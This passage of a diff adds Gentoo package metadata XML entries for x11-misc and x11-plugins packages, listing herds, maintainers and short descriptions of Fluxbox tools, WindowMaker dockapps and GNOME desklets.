+  A background tool for Fluxbox.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/fluxconf">
+  <herd>commonbox</herd>
+  <longdescription>
+  A configuration editor for Fluxbox.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/fluxspace">
+  <herd>commonbox</herd>
+  <longdescription>
+  Enhancements for workspace management within Fluxbox.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/fluxter">
+  <herd>commonbox</herd>
+  <longdescription>
+  Fluxter is a pager for Fluxbox.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/gclipper">
+	<herd>desktop-misc</herd>
+	<longdescription>GClipper is a multiple buffer clipboard that automatically fetches new selections and maintains them in a history. It shows a listview with the fetched selections and allows the visualization of their details. The selected row in the listview will be used to determine the data for selection retrieval (paste).</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/genmenu">
+<herd>no-herd</herd>
+<maintainer>
+  <email>lanius@gentoo.org</email>
+  <name>Heinrich Wendel</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/gmrun">
+  <herd>no-herd</herd>
+  <maintainer>
+    <email>aether@gentoo.org</email>
+    <name>Jason A Mobarak</name>
+  </maintainer>
+  <longdescription>
+    A run utility intended to replace grun or gnome-run. Most prominent
+    features include slim design and bash style auto-completion.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/goats">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/gpasman">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/grabc">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/gtk2mp">
+  <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/gtodo">
+<herd>desktop-misc</herd>
+<maintainer>
+    <email>port001@gentoo.org</email>
+    <name>Ian Leitch</name>
+</maintainer>
+<longdescription>
+    Gtodo is a Gtk+-2.0 Todo list manager written for use with gnome 2.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/hotkeys">
+<herd>no-herd</herd>
+<maintainer>
+  <email>lanius@gentoo.org</email>
+  <name>Heinrich Wendel</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/icebgset">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/icecc">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/icecursorscfg">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/iceiconcvt">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/iceked">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/icemc">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/icemergeprefs">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/icerrun">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/icesndcfg">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/icets">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/icewm-tools">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/icewoed">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/iconbar">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Enlightenment's development version has a pretty nice iconbar in it. (Written by 
+raster, idea based on a patch submitted by rephorm). Unfortunately th wm itself isn't 
+all that stable these days. So, here's the beginnings of a standalone iconbar for use 
+in any window manager of your choice.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/idesk">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/imwheel">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/jaffm">
+  <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/lavaps">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/lineakconfig">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/lineakd">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/mgm">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/mixer_app">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/mowitz">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/ntodo">
+<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/numlockx">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/obconf">
+<herd>commonbox</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/paralogger">
+  <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/pypanel">
+<herd>desktop-misc,python</herd>
+<maintainer>
+  <email>karltk@gentoo.org</email>
+  <name>Karl Trygve Kalleberg</name>
+  <description>Temporary maintainer until the herds accept maintainership</description>
+</maintainer>
+
+<longdescription>
+PyPanel is a lightweight panel/taskbar for X11 window managers that can
+be easily customized to match any desktop theme or taste.
+ 
+Some of the customizable features include transparency w/ shading, panel
+dimensions and location, font type and colors, button events/actions,
+clock and workspace name display.
+                     
+PyPanel should work with any WM that supports the EWMH specification.
+The following have been tested: Kahakai, Openbox3, PekWM, WindowMaker.
+</longdescription>
+
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/read-edid">
+        <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/remind">
+  <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/root-portal">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/rss-glx">
+	<herd>no-herd</herd>
+	<maintainer><email>vapier@gentoo.org</email></maintainer>
+	<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/shared-mime-info">
+<herd>no-herd</herd>
+<maintainer>
+  <email>lanius@gentoo.org</email>
+  <name>Heinrich Wendel</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/sisctrl">
+        <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/stickynotes_applet">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/sux">
+<herd>desktop-misc</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/synaptics">
+<herd>xfree</herd>
+<maintainer>
+<email>dberkholz@gentoo.org</email>
+<name>Donnie Berkholz</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/synergy">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/temperature-app">
+        <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/tkhylafax">
+<herd>comm-fax</herd>
+<maintainer>
+  <email>nerdboy@gentoo.org</email>
+  <name>Steve Arnold</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>Front end for sending faxes with HylaFAX.  Current features include:
+        o Batching fax destinations
+        o Built-in faxnumber database
+        o Fast cover sheet generation 
+        o Cover sheet preview
+        o Cover sheet ONLY transmission option
+        o Directory browser
+        o Fax job dequeuing made easier
+        o Fax job scheduling made easier
+        o Highly configurable
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/uf-view">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/unclutter">
+<herd>desktop-misc</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/videogen">
+<herd>xfree</herd>
+<maintainer>
+<email>dberkholz@gentoo.org</email>
+<name>Donnie Berkholz</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/wampager">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/wayv">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/wdm">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/whitebox">
+  <herd>commonbox</herd>
+  <longdescription>
+  Whitebox is a configuration tool for the *box family of window managers.
+  </longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/wmakerconf">
+	<herd>gnustep</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/wmctrl">
+	<herd>desktop-wm</herd>
+	<longdescription>
+		 The wmctrl program is a command line tool to interact with an 
+		 EWMH/NetWM compatible X Window Manager. It provides command line 
+		 access to almost all the features defined in the EWMH specification.
+		 Using it, it's possible to, for example, obtain information about the
+		 window manager, get a detailed list of desktops and managed windows, 
+		 switch and resize desktops, change number of desktops, make windows 
+		 full-screen, always-above or sticky, and activate, close, move, 
+		 resize, maximize and minimize them. 
+	</longdescription>	
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/wmdf">
+        <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/x2vnc">
+<herd>desktop-misc</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/x2x">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xalf">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xautolock">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xbatt">
+        <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xbattbar">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xbindkeys">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xcalendar">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xcb">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xchm">
+        <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xclip">
+<herd>desktop-misc</herd>
+<maintainer>
+	<email>tseng@gentoo.org</email>
+	<name>Brandon Hale</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xdaf">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xdaliclock">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xearth">
+        <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xfe">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xfm">
+        <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xfontselector">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xhkeys">
+        <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xkbd">
+<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xkeycaps">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xloadimage">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xlockmore">
+        <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xmbdfed">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xnc">
+        <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xnview">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xosview">
+        <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xpad">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xplanet">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xplore">
+        <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xrootconsole">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xscreensaver-app">
+        <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xscreensaver">
+	<herd>desktop-misc</herd>
+<maintainer>
+	<email>liquidx@gentoo.org</email>
+	<description>looking for volunteers to take over maintaining this</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xsensors">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xsetleds">
+	<herd>desktop-misc</herd>
+<maintainer>
+  <email>jss2k2@chello.no</email>
+  <name>Unknown</name>
+  <description>seemant@gentoo.org as a proxy maintainer.  Please refer to jss2k2</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xsimpsons">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xsnap">
+        <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xsnow">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xstroke">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xtoolwait">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xtrlock">
+        <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xvkbd">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xwit">
+        <herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xwrits">
+	<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-misc/xxkb">
+<herd>desktop-misc</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/allin1">
+	<herd>commonbox</herd>
+	<longdescription>Allin1 is a little dock applet for FluxBox and similar window managers which monitors CPU load with a moving graph, memory and swap usage with histograms, battery and power status with histogram and icons, and ethernet/PPP interfaces with icons and histograms (linear or logaritmic).</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/desklet-clock">
+<herd>gnome</herd>
+<maintainer><email>obz@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/desklet-cornerxmms">
+<herd>gnome</herd>
+<maintainer><email>obz@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/desklet-cpuinfo">
+<herd>gnome</herd>
+<maintainer><email>obz@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/desklet-diskinfo">
+<herd>gnome</herd>
+<maintainer><email>obz@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/desklet-goodweather">
+<herd>gnome</herd>
+<maintainer><email>obz@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/desklet-ltvariations">
+<herd>gnome</herd>
+<maintainer><email>obz@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/desklet-meminfo">
+<herd>gnome</herd>
+<maintainer><email>obz@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/desklet-multitail">
+<herd>gnome</herd>
+<maintainer><email>obz@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/desklet-networkinfo">
+<herd>gnome</herd>
+<maintainer><email>obz@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/desklet-psidisplays">
+<herd>gnome</herd>
+<maintainer><email>obz@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/desklet-psisensors">
+<herd>gnome</herd>
+<maintainer><email>obz@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/desklet-starterbar">
+<herd>gnome</herd>
+<maintainer><email>obz@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/desklet-sysinfo">
+<herd>gnome</herd>
+<maintainer><email>obz@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/desklet-temperature">
+<herd>gnome</herd>
+<maintainer><email>obz@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/desklet-weather">
+<herd>gnome</herd>
+<maintainer><email>obz@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/epplets">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Epplets are small, handy Enlightenment applets, similar to &quot;dockapps&quot;
+or &quot;applets&quot; for other packages.  The epplets package contains the
+base epplet API library and header files, as well as the core set of
+epplets, including CPU monitors, clocks, a mail checker, mixers, a
+slideshow, a URL grabber, a panel-like toolbar, and more.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/gai-pager">
+<herd>no-herd</herd>
+<maintainer>
+  <email>lordvan@gentoo.org</email>
+  <name>Thomas Raschbacher</name>
+<!--  <description>Description of the maintainership</description> -->
+</maintainer>
+<!-- <longdescription>Long description of the package</longdescription> -->
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/gkrellm-pmu">
+<herd>ppc</herd>
+<maintainer>
+  <email>pylon@gentoo.org</email>
+  <name>Lars Weiler</name>
+  <description>ppc tester</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmCalClock">
+<herd>desktop-dock</herd>
+<longdescription>
+wmCalClock is a calendar clock with anti-aliased text and drop shadows. Colors 
+and fonts in the time field are user configurable. It displays local time, 
+universal time and sidereal time.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmDownload">
+<herd>desktop-misc</herd>
+<longdescription>
+wmDownload is a small WindowMaker dockapp that sits there and displays how much 
+data you've recieved on each eth and ppp device installed on your machine.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmMatrix">
+<herd>desktop-misc</herd>
+<longdescription>
+wmMatrix is an early beta version of a cpu monitor built around the display 
+from the movie&quot;The Matrix&quot;.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmMoonClock">
+<herd>desktop-misc</herd>
+<longdescription>
+wmMoonClock displays phases and ephemeris of the Moon. Clicking on the App 
+cycles the user through several `pages' of ephemeris information. Included are 
+age, fraction of current lunar cycle, the % illumination, whether its currently 
+visible or not, the rise/set times for yesterday, today and tomorrow, the 
+`horizon coordinates&quot;, and the &quot;ecliptic coordinates&quot;. wmMoonClock supports 
+8-bit and high-color displays.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmSMPmon">
+<herd>desktop-misc</herd>
+<longdescription>
+wmSMPmon is a Window Maker applet for monitoring
+the CPUs, memory, and swap of SMP systems. 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmSpaceWeather">
+<herd>desktop-misc</herd>
+<longdescription>
+wmSpaceWeather shows environmental conditions in space.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmSun">
+<herd>desktop-misc</herd>
+<longdescription>
+wmSun shows rise/set times for the Sun. The user needs to supply his/her 
+latitude and longitude. wmSun works for all latitudes (when Sun does not rise 
+or set, a --:-- is shown for the relevant entry).
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmacpi">
+<herd>desktop-dock</herd>
+<longdescription>
+WMaker DockApp: ACPI status monitor for laptops
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmail">
+<herd>desktop-misc</herd>
+<longdescription>
+WebUMake Mail allows for Web-based e-mail with a
+simple browser interface and a secure,
+administered environment. It supports unlimited
+addresses for multiple domains using just a single
+catchall POP account, and can be integrated with
+WebUMake Web.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmalms">
+<herd>desktop-misc</herd>
+<longdescription>
+wmalms monitors data obtained from a sensor chip: 
+temperature, fan speed, and voltage.   It can be 
+used as a dockable/swallowed applet with Window 
+Maker or any window manager that supports 
+swallowing, including GNOME, kwm (KDE), fvwm, 
+and its clones. Alternatively, you can run wmalms 
+as a normal window with any window manager.   
+wmalms is designed to suit any hardware supported 
+by lm_sensors. It provides a wide range of 
+customized features, including window appearence, 
+order and representation of sensor data, refresh 
+frequency, alarm mode, etc. 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmapm">
+<herd>desktop-misc</herd>
+<longdescription>
+wmapm is a small dock-app for WindowMaker that shows continually-updated APM 
+statistics. It's a must have for Laptop users. Features include status of power 
+supply, percentage of battery remaining, battery charging, time left to battery 
+depletion and high/low/critical battery status.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmapmload">
+<herd>desktop-misc</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmbattery">
+<herd>desktop-dock</herd>
+<longdescription>
+Wmbattery displays the status of your laptop's battery in a small icon. This 
+includes if it is plugged in, if the battery is charging, how many minutes of 
+battery life remain, battery life remaining (with both a percentage and a 
+graph), and battery status (high - green, low - yellow, or critical - red).
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmbiff">
+<herd>no-herd</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmbinclock">
+<herd>desktop-dock</herd>
+<longdescription>
+The windowmaker Binary Clock applet shows the
+actual system time as a binary clock. You have to
+add up the bits to get the time. The clock has a
+24-hour format.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmbio">
+<herd>desktop-dock</herd>
+<longdescription>
+Wmbio is a dockapp designed for WindowMaker. 
+Given your birth date, it can show you your 
+biorhythms, allows you to see the progress in time 
+of your biorhythms, and calculates your next totally 
+positive or negative biorhythmic level.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmcalc">
+<herd>desktop-dock</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmcliphist">
+<herd>desktop-dock</herd>
+<longdescription>
+wmcliphist is dockable clipboard history application for Window Maker. It is
+similar to klipper from KDE. wmcliphist keeps history of clipboard operations
+and allows you to put previously copied items back to the clipboard for pasting
+to other applications.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmclock">
+<herd>desktop-dock</herd>
+<longdescription>
+Wmclock is an applet which displays the date and time in a dockable tile. 
+Wmclock is specially designed for Window Maker, and features multiple language 
+support, twenty-four-hour and twelve-hour (am/pm) time display, and, 
+optionally, can run a user-specified program on a mouse click. Wmclock is 
+derived from ASClock (now called ASClock classic), a similar clock for the 
+AfterStep window manager.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmclockmon">
+<herd>desktop-dock</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmcms">
+<herd>desktop-dock</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmcoincoin">
+<herd>desktop-dock</herd>
+<longdescription>
+wmCoinCoin is a WindowMaker dockapp that lets you see the latest news from 
+linuxfr.org. It also graphically represents some statistics about the oneliner 
+and the clients used to post on it. It also has the ability to post a 
+customized message to this oneliner. 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmcp">
+<herd>desktop-dock</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmcpuload">
+<herd>desktop-dock</herd>
+<longdescription>
+WMCPULoad is a program to monitor CPU usage. It is a dockapp that is supported 
+by X window managers such as Window Maker, AfterStep, BlackBox, and 
+Enlightenment. It dispalys the current usage, expressed as a percentile and a 
+chart, and has an LCD look-alike user interface. The back light may be turned 
+on/off by clicking the mouse button over the application. If the CPU usage hits 
+a certain threshold, an alarm-mode will alert you by turning the back light on. 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmcube">
+<herd>desktop-dock</herd>
+<longdescription>
+wmCube is a dockapp that displays a realtime rotating 3D object and the current 
+CPU load. You can design your own objects for it.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmdeskguide">
+<herd>desktop-dock</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmdl">
+<herd>desktop-dock</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmdots">
+<herd>desktop-dock</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmdrawer">
+<herd>desktop-dock</herd>
+<longdescription>
+wmDrawer is a dockapp which provides a drawer
+(button bar) from which applications can be launched.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmfire">
+<herd>desktop-dock</herd>
+<longdescription>
+wmfire is an eye-candy dock applet for Window Maker that displays generated 
+fire, possibly according to how much load the system is experiencing, or from a 
+number somewhere in a file. wmfire requires very little CPU.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmfishtime">
+<herd>desktop-dock</herd>
+<longdescription>
+WMFishTime is a silly little dockapp that displays current time, date, and day
+of the week. It features alpha-blended bubbles, anti-aliased clock hands, and
+fish swimming behind the clock face.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmfortune">
+<herd>desktop-dock</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmfrog">
+<herd>desktop-dock</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmfsm">
+<herd>desktop-dock</herd>
+<longdescription>
+Wmfsm monitors your filesystem usage. It features three display modes, 
+different colorschemes and exclusion of filesystems (eg /cdrom).
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmget">
+<herd>desktop-dock</herd>
+<longdescription>
+wmget lets you run multiple downloads and monitor or control them from within a 
+dockapp. This makes it easy to see their progress without keeping extra windows 
+open. wmget uses the libcurl library to support HTTP and FTP downloads.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmgtemp">
+<herd>desktop-dock</herd>
+<longdescription>
+wmgtemp is a dock-app for Window Maker that graphically displays the CPU and 
+System temperatures using the lm_sensors package. It was originally intended to 
+work with the VIA686A chipset although it can dynamically detect chipset 
+features to work with other sensors. It displays the CPU and System temperature 
+values, a scaling graph of temperature history, and high-temperature warning 
+lights. It should also work fine with other window managers.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmifs">
+<herd>desktop-dock</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wminet">
+<herd>desktop-dock</herd>
+<longdescription>
+WMiNET is a dockable applet for monitoring all your inet daemon activity, it's 
+designed for WindowMaker's dock, but of course, it works with other 
+windowmanagers too.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="x11-plugins/wmitime">
+<herd>desktop-dock</herd>
+<longdescription>
+WMitime is an (overglorified) clock for the Windowmaker/Afterstep dock. It 
+displays standard 12/24 hour time and date, as well as Swatch's new internet 
+time.
+</longdescription>
+</pkgmetadata>
